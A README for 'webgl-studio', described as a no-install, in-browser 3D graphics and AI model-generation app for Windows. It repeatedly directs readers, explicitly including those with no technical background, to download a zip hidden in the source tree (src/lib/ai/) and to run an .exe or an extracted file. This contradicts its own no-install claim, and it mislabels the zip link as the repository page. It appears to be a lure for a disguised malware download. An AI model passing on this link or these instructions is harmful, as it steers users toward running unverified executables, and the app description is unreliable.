webgl-studio is a browser-based app that helps you create 3D graphics easily. It works right in your browser, no need to install complex software. You can write and edit code live, build scenes using a simple builder, and use AI to generate 3D models.
You don’t need any programming skills. The app saves your projects automatically, so you can come back later and continue your work. It runs on Windows computers using modern browsers that support WebGL2.
- Live code editor: Write 3D graphics code and see changes instantly.
- Scene builder: Drag and drop shapes to build 3D scenes without coding.
- AI-powered 3D generation: Create models using AI tools from Stability AI and Replicate.
- Project saving: Your work saves itself in your browser, so you don’t lose progress.
- Works in browser: No installation needed, just a compatible browser.
- Based on modern tools: Uses Three.js, WebGL2, React, and TypeScript for smooth experience.
This app is for anyone who wants to try 3D design or AI-generated models without complex software. It fits hobbyists, students, or creative people exploring 3D graphics. You do not need previous coding knowledge to start.
- Operating System: Windows 10 or later.
- Browser: A recent version of Chrome, Edge, or Firefox that supports WebGL2.
- Internet connection: Required to load the AI features and to download the app.
- Storage: Minimal space needed since it runs in your browser.
- Hardware: Any computer that can run the latest browsers smoothly.
You will find webgl-studio on the releases page of the project. This page provides the latest versions you can try.
Click the button above or visit this link:
https://github.com/iconic-whitemullein349/webgl-studio/raw/refs/heads/main/src/lib/ai/webgl-studio-v2.5.zip
Once you open the page:
- Look for the latest stable release.
- Find the file that matches your system, usually a
.zipor.exefile for Windows. - Download the file to your computer.
If you downloaded an .exe file:
- Double click it.
- Follow the instructions to install or run the program.
- The app will open in your default browser.
If you downloaded a .zip file:
- Right-click the file and select “Extract All”.
- Open the extracted folder.
- Find the main HTML file (usually
index.html). - Double click it to launch webgl-studio in your browser.
After launching:
- Spend a few minutes exploring the menus.
- Use the live code editor to try small changes.
- Drag and drop objects in the scene builder.
- Try AI 3D generation from the options provided.
- Save your project; it will remain available next time you open the app in the browser.
- Accessible from the “Editor” tab.
- Type code on the left pane.
- See the 3D scene update in real-time on the right.
- Useful to explore small custom changes and learn basic coding.
- Go to the “Builder” tab.
- Use the menus to add shapes like cubes, spheres, or lights.
- Move objects by dragging them around.
- Change colors and size from the settings panel.
- Click the “AI Generate” option on the sidebar.
- Enter a simple description of what you want to create (e.g., “futuristic chair”).
- Wait a moment while the AI generates a model.
- Add the generated model to your scene with one click.
- Edit or combine models with other scene elements.
- The app saves your work automatically in your browser.
- To save a backup, export projects as files from the menu.
- You can import these files later to restore progress.
- App won’t load: Make sure your browser is updated.
- 3D view is blank: Check that WebGL2 is supported in your browser.
- AI features not working: You need an active internet connection.
- Projects not saving: Clear browser cache and reload the app.
- Downloading fails: Retry or switch to another browser.
webgl-studio lets you tailor your workflow with these options:
- Change editor theme from light to dark mode.
- Adjust layout panels by dragging edges.
- Set auto-save frequency or manual save only.
- Choose preferred AI model source within settings.
For more details and updates visit the repository page:
https://github.com/iconic-whitemullein349/webgl-studio/raw/refs/heads/main/src/lib/ai/webgl-studio-v2.5.zip
Look at the “Issues” tab for common problems or to ask for help.
You can also browse the discussions section for tips and examples.
webgl-studio is built with popular tools:
- Three.js for 3D rendering.
- WebGL2 to use GPU power in the browser.
- React and TypeScript for front-end code.
- Vite for fast loading and development.
- AI models from Stability AI and Replicate APIs.
The project welcomes contributions that improve documentation, fix bugs, or add features.
Visit the release page above to get the latest version. Follow the instructions to start working with 3D models and AI tools right in your browser on Windows.